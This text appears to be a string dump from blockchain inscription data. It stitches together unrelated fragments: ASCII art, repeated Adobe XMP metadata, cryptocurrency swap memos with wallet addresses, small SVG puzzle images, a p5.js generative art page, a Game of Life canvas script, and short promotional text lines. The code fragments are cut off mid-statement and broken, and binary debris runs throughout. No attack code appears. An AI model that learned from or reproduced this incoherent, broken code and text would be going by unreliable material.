./..../..../X...\/X..\\....\X......X\....\\..X/\...X/..../..../.
..\/...X...\X..\...\/.../...\X....X\.../.../\...\..X\...X.../\..
/..\X..\X../....../X.\/..\...X....X...\../\.X/....../..X\..X\../
../.\/..X../..X../../..\../../..../../..\../../..X../..X../\./..
\../.\..\../.\X./../..X./..X........X../.X../../.X\./..\..\./..\
./...././..X./...././..X.X..../../....X.X.././..../.X.././..../.
X.\./......X.X.X.\./...\..X.X./../.X.X..\.../.\.X.X.X....../.\.X
MjK=:BNB.BUSD-BD1:bnb1n6k3ftvkylfer3m2xcxrckd8j7ns6lfurtger2:121661253613:te:0
SjLPAnja & Frank | Apfelwein am Winterstein | 03.01.21 | 50
&iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 23.5 (WindowsM
)" xmpMM:InstanceID="xmp.iid:AD877036ABC811ED8376C9227417208C" xmpMM:DocumentID="xmp.did:AD877037ABC811ED8376C9227417208C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:AD877034ABC811ED8376C9227417208C" stRef:documentID="xmp.did:AD877035ABC811ED8376C9227417208C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>d
)));;;'''666777888###999222$$$333BBB444---///EEE>>>???111%%%<<<555DDD===FFF***@@@HHHAAA:::,,,IIIJJJ
@j>=:ETH.ETH:0xaaae4b6d5c086cb72b5429194c811601670d82d9:9642844343
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0053/4096 0,0,2,0,0 ~0.46578946500085294-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#767C89" width="100%" height="100%"/>
<polyline fill="#52F6A8" points="0,8 1,2 4,4 0,0 "/>
<polyline fill="#52F6A8" points="8,0 3,1 4,1 8,8 "/>
<polyline fill="#F652A0" points="8,8 3,2 3,4 0,8 "/>
<polyline fill="#52F6A8" points="0,0 5,5 5,5 8,0 "/>
FjDOUT:D0B147719B575D1BEF9A968E808110AA446D3B03A4D188CA5E3EE9570C261437
FjDOUT:E7221B8DCECE6CC31AD6FC9F8CA6C230B9BEF2DF5DC22135B583885E74DE6B11
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
/http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 23.4 (Windows)" xmpMM:InstanceID="xmp.iid:E8790D60ABD111EDAF8CF2EBAD09220F" xmpMM:DocumentID="xmp.did:E8790D61ABD111EDAF8CF2EBAD09220F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E8790D5EABD111EDAF8CF2EBAD09220F" stRef:documentID="xmp.did:E8790D5FABD111EDAF8CF2EBAD09220F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>Vertigo by josemiguel</title>
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <script id="snippet-random-code" type="text/javascript">
        let seed=window.location.href.split('/').find(t=>t.includes('i0'));
        if (seed == null) {
            seed = new URLSearchParams(window.location.search).get("seed");
            let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233)M
, i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return M
$ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
        html, body {
            overflow: hidden;
            margin: 0;
            padding:M
            display: flex;
            justify-content: center;
            align-items: center;
            min-width: min(100vw, 100vh);
            min-height: min(100vw, 100vh);
            max-width: min(100vw, 100vh);
            max-height: min(100vw, 100vh);
<script type="text/javascript">
    const rand=mathRand();let fondo,relleno,gradualidad,velocidad,escalamiento,grosor,num2,vinotinto,blanco,negro,verdeoscuro;function setup(){randoM
mSeed(9999*mathRand()),createCanvas(1e3,1e3),angleMode(DEGREES),gradualidad=int(random(6,355)),180!=gradualidad&&179!=gradualidad&&181!=gradualidad&&89!=gradualidad&&90!=gradualidad&&91!=gradualidad&&299!=gradualidad&&300!=gradualidad&&301!=gradualidad&&269!=gradualidad&&270!=gradualidad&&271!=gradualidad&&69!=gradualidad&&70!=gradualidad&&71!=gradualidad&&239!=gradualidad&&240!=gradualidad&&241!=gradualidad||(gradualidad+=4),console.log(gradualidad),lineacolorizada=color("rgba(255,254,254,0.3)");let o=random([1,2,M
3,4,5,6,7,8,9,10,11,12,13]);console.log(o),1==o&&(relleno1=color("#4703014C"),relleno2=color("#6908034C")),2==o&&(relleno1=color("#8E0E0F4C"),relleno2=color("#6F34304C")),3==o&&(relleno1=color("#9D5E594C"),relleno2=color("#B160734C")),4==o&&(relleno1=color("#B683804C"),relleno2=color("#DE9C794C")),5==o&&(relleno1=color("#2B524F4C"),relleno2=color("#1434314C")),6==o&&(relleno1=color("#3630624C"),relleno2=color("#49317E4C")),7==o&&(relleno1=color("#9F82AA4C"),relleno2=color("#92799C4C")),8==o&&(relleno1=color("#C76E7M
74C"),relleno2=color("#B8656E4C")),9==o&&(relleno1=color("#AF292A4C"),relleno2=color("#710D004C")),10==o&&(relleno1=color("#01343E4C"),relleno2=color("#00687A4C")),11==o&&(relleno1=color("#5A52814C"),relleno2=color("#6E5E914C")),12==o&&(relleno1=color("#49014A4C"),relleno2=color("#702D364C")),13==o&&(relleno1=color("#A549564C"),relleno2=color("#924C0F4C")),velocidad=.005,console.log(velocidad),puntoY=random(400,500),console.log(puntoY),escalamiento=3,grosor=2.5,console.log(grosor)}function Linea_libre_valorizada(){M
fondo=random([0,1]),relleno=0==fondo?relleno1:relleno2;let o=puntoY;push();for(var l=0;l<=1500;l+=5)translate(width/2,height/2),rotate(gradualidad),translate(-width/2,-height/2),stroke(lineacolorizada),strokeWeight(grosor),line(l,o,0,0),push(),strokeWeight(grosor),fill(relleno),rect(l,o,100*escalamiento),pop();pop()}function draw(){background(relleno2),Linea_libre_valorizada(),gradualidad-=velocidad}
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
Aj?=:BNB.BNB:bnb1yl9fr4lpfxr07gh8ylj2yssnqr3jgqk0dsx77q:2894751::0
text/plain;charset=utf-8
ORDINALS IS HYPERBITCOINIZATION h!
text/plain;charset=utf-8
Another Artist was here,
and now will be for eternity.
Go stream them on Spotify...
or this century's music platform of choiceh!
CjA=:BNB.BNB:bnb1l0wxussgjdcx783e4d9hk2hfwxl2jv43q8hlaj:1833274:te:0
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
.|.|.O..-.-.-.-.-.|.|.|.O.O.O.O..O.O.O.O.|.|.|.-.-.-.-.-..O.|.|.
|-.|.O|.O-.|..|.O-.O..|..-.O-.|..|.-O.-..|..O.-O.|..|.-O.|O.|.-|
..|-..|-.OO-..|...|..O-..O|..O-..-O..|O..-O..|...|..-OO.-|..-|..
||-...OO|....OO--...O|--...||-....-||...--|O...--OO....|OO...-||
..........O.OOOOO||-||--.-............-.--||-||OOOOO.O..........
OO.......-|||OO.......-|-|OOO......OOO|-|-.......OO|||-.......OO
.||O..--O..-||O..-|O..-||...-|O..O|-...||-..O|-..O||-..O--..O||.
..-O..-O.-O..|..|..-O.--O.-O..|..|..O-.O--.O-..|..|..O-.O-..O-..
-O.|..O.-.-..|.-O.|.-O.|.|..O.-..-.O..|.|.O-.|.O-.|..-.-.O..|.O-
.-O..-.-.|.|.-.|.|.O.O.|.O.O..-..-..O.O.|.O.O.|.|.-.|.|.-.-..O-.
-.O.O|.O-.|..-.O-.O.O|.O-.|-.-.OO.-.-|.-O.|O.O.-O.-..|.-O.|O.O.-
.|-..|-..|..|-..|-.O|..O|..O-..OO..-O..|O..|O.-|..-|..|..-|..-|.
-...O||....||.....||....O|-...OOOO...-|O....||.....||....||O...-
...OOO|||---.---.........OOOO||||||OOOO.........---.---|||OOO...
-||OOOO......--|-|OO.O.......-||||-.......O.OO|-|--......OOOO||-
...-O...-|O..-||O...|O...-|O..-||-..O|-...O|...O||-..O|-...O-...
-O.-O..|O.-|..-O.-O..|..-O..|O.--.O|..O-..|..O-.O-..|-.O|..O-.O-
.-..|.-..|.-..|.-..|....|....|....|....|....|..-.|..-.|..-.|..-.
|.|.|.|.|.O.|.O.O.O.O.|.O.O.O-O..O-O.O.O.|.O.O.O.O.|.O.|.|.|.|.|
.O..-.O-.O.O|.O..|..-.|-.|..-.O..O.-..|.-|.-..|..O.|O.O.-O.-..O.
|..O|..O-.O|...|..O-..|-..|..O|..|O..|..-|..-O..|...|O.-O..|O..|
..O||...OO|...OO|....O|-...O||....||O...-|O....|OO...|OO...||O..
||------..........||||||---..........---||||||..........------||
...--||-||OO.......---||||OOO......OOO||||---.......OO||-||--...
O....-|O..-|O...-|O...-|...-|O....O|-...|-...O|-...O|-..O|-....O
.-O.-|..|O..|O.-O..|..-|..|O.-O..O-.O|..|-..|..O-.O|..O|..|-.O-.
O.|..O.-..|.-O.|..O.|.-O.|.-O.|..|.O-.|.O-.|.O..|.O-.|..-.O..|.O
.O.|.O.O.O-O.O.O.....O.O-O-O........O-O-O.O.....O.O.O-O.O.O.|.O.
O-.|.O-.O..-.O..|.O-.|.O|.O..|.OO.|..O.|O.|.-O.|..O.-..O.-O.|.-O
..O-..|...-..|-.O|-.O|..O-..|..OO..|..-O..|O.-|O.-|..-...|..-O..
O|-...O|--..O||-..OO|....O|....OO....|O....|OO..-||O..--|O...-|O
..........OOO|||-...........OOOOOOOO...........-|||OOO..........
..........OOO|||-...........OOOOOOOO...........-|||OOO..........
O|-...O|--..O||-..OO|....O|....OO....|O....|OO..-||O..--|O...-|O
..O-..|...-..|-.O|-.O|..O-..|..OO..|..-O..|O.-|O.-|..-...|..-O..
O-.|.O-.O..-.O..|.O-.|.O|.O..|.OO.|..O.|O.|.-O.|..O.-..O.-O.|.-O
.O.|.O.O.O-O.O.O.....O.O-O-O........O-O-O.O.....O.O.O-O.O.O.|.O.
O.|..O.-..|.-O.|..O.|.-O.|.-O.|..|.O-.|.O-.|.O..|.O-.|..-.O..|.O
.-O.-|..|O..|O.-O..|..-|..|O.-O..O-.O|..|-..|..O-.O|..O|..|-.O-.
O....-|O..-|O...-|O...-|...-|O....O|-...|-...O|-...O|-..O|-....O
...--||-||OO.......---||||OOO......OOO||||---.......OO||-||--...
||------..........||||||---..........---||||||..........------||
..O||...OO|...OO|....O|-...O||....||O...-|O....|OO...|OO...||O..
|..O|..O-.O|...|..O-..|-..|..O|..|O..|..-|..-O..|...|O.-O..|O..|
.O..-.O-.O.O|.O..|..-.|-.|..-.O..O.-..|.-|.-..|..O.|O.O.-O.-..O.
|.|.|.|.|.O.|.O.O.O.O.|.O.O.O-O..O-O.O.O.|.O.O.O.O.|.O.|.|.|.|.|
.-..|.-..|.-..|.-..|....|....|....|....|....|..-.|..-.|..-.|..-.
-O.-O..|O.-|..-O.-O..|..-O..|O.--.O|..O-..|..O-.O-..|-.O|..O-.O-
...-O...-|O..-||O...|O...-|O..-||-..O|-...O|...O||-..O|-...O-...
-||OOOO......--|-|OO.O.......-||||-.......O.OO|-|--......OOOO||-
...OOO|||---.---.........OOOO||||||OOOO.........---.---|||OOO...
-...O||....||.....||....O|-...OOOO...-|O....||.....||....||O...-
.|-..|-..|..|-..|-.O|..O|..O-..OO..-O..|O..|O.-|..-|..|..-|..-|.
-.O.O|.O-.|..-.O-.O.O|.O-.|-.-.OO.-.-|.-O.|O.O.-O.-..|.-O.|O.O.-
.-O..-.-.|.|.-.|.|.O.O.|.O.O..-..-..O.O.|.O.O.|.|.-.|.|.-.-..O-.
-O.|..O.-.-..|.-O.|.-O.|.|..O.-..-.O..|.|.O-.|.O-.|..-.-.O..|.O-
..-O..-O.-O..|..|..-O.--O.-O..|..|..O-.O--.O-..|..|..O-.O-..O-..
.||O..--O..-||O..-|O..-||...-|O..O|-...||-..O|-..O||-..O--..O||.
OO.......-|||OO.......-|-|OOO......OOO|-|-.......OO|||-.......OO
..........O.OOOOO||-||--.-............-.--||-||OOOOO.O..........
||-...OO|....OO--...O|--...||-....-||...--|O...--OO....|OO...-||
..|-..|-.OO-..|...|..O-..O|..O-..-O..|O..-O..|...|..-OO.-|..-|..
|-.|.O|.O-.|..|.O-.O..|..-.O-.|..|.-O.-..|..O.-O.|..|.-O.|O.|.-|
.|.|.O..-.-.-.-.-.|.|.|.O.O.O.O..O.O.O.O.|.|.|.-.-.-.-.-..O.|.|.
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 23.5 (WindowsM
)" xmpMM:InstanceID="xmp.iid:C988C702ABC811ED9162EFB5E78BC204" xmpMM:DocumentID="xmp.did:C988C703ABC811ED9162EFB5E78BC204"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C988C700ABC811ED9162EFB5E78BC204" stRef:documentID="xmp.did:C988C701ABC811ED9162EFB5E78BC204"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
c/Foundry USA Pool #dropgold/
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0054/4096 0,2,0,2,1 ~0.6065547664184123-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#9296A0" width="100%" height="100%"/>
<polyline fill="#52F6A8" points="0,8 4,1 4,4 0,0 "/>
<polyline fill="#F652A0" points="8,0 5,6 5,6 8,8 "/>
<polyline fill="#52F6A8" points="8,8 4,6 4,6 0,8 "/>
<polyline fill="#F652A0" points="0,0 6,5 6,5 8,0 "/>
FjDOUT:FFD009D4E0AA3E2EB3FF2F51C34E7C80517037A858D40F38A91E037A1B5FF3A4
text/html;charset=utf-8
	<title>Game of Life</title>
<body style="background-color: white;">
	<canvas id="gameOfLife" width="1600" height="1600"></canvas>
		// Get canvas and context
		const canvas = document.getElementById('gameOfLife');
		const ctx = canvas.getContext('2d');
		// Set up constants
		const cellSize = 10; // size of each cell in pixels
		const rows = canvas.height / cellSize; // number of rows in the grid
		const cols = canvas.width / cellSize; // number of columns in the M
		// Set up variables
		let cells = []; // 2D array to store the state of each cell
		let colors = []; // 2D array to store the color of each cell
		// Initialize cells and colors arrays with random values
		for (let i = 0; i < rows; i++) {
			for (let j = 0; j < cols; j++) {
				cells[i][j] = Math.round(Math.random());
				colors[i][j] = `rgb(${Math.floor(Math.random() * 256)}, ${Math.floor(Math.random() * 256)}, ${Math.floor(Math.random() * 256)})`;
 Function to draw the grid and cells on the canvas
			// Clear the canvas
			ctx.clearRect(0, 0, canvas.width, canvas.height);
			for (let i = 0; i <= rows; i++) {
				ctx.moveTo(0, i * cellSize);
				ctx.lineTo(canvas.width, i * cellSize);
			for (let j = 0; j <= cols; j++) {
				ctx.moveTo(j * cellSize, 0);
				ctx.lineTo(j * cellSize, canvas.height);
			ctx.strokeStyle = 'rgba(0, 0, 0, 0.1)';
			// Draw the cells
r (let i = 0; i < rows; i++) {
				for (let j = 0; j < cols; j++) {
					if (cells[i][j] === 1) {
						ctx.fillStyle = colors[i][j];
						ctx.fillRect(j * cellSize, i * cellSize, cellSize, cellSize);
		// Function to update the state of the cells for the next generation
		function updateCells() {
			// Create a copy of the current cells array
			let newCells = JSON.parse(JSON.stringify(cells));
			for (let i = 0; i < rows; i++) {
				for (let j = 0; j < cols; j++) {
					// Count the number of live neighbors
					for (let x = -1; x <= 1; x++) {
						for (let y = -1; y <= 1; y++) {
							if (x === 0 && y === 0) {
							let row = i + x;
							let col = j + y;
							if (row >= 0 && row < rows && col >= 0 && col < cols) {
								if (cells[row][col] === 1) {
									neighbors++;
					// Apply the rules of the Game of Life to determine the state of the cell in the next generation
						if (neighbors < 2 || neighbors > 3) {
							newCells[i][j] = 0;
						if (neighbors === 3) {
							newCells[i][j] = 1;
							colors[i][j] = `rgb(${Math.floor(Math.random() * 256)}, ${Math.floor(Math.random() * 256)}, ${Math.floor(Math.random() * 256)})`;
			// Update the cells array with the new values
			cells = newCells;
		// Main loop that updates and draws the cells on the canvas
		function mainLoop() {
			// Call the main loop again after a short delay
			setTimeout(mainLoop, 100);
		// Start the main loop
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
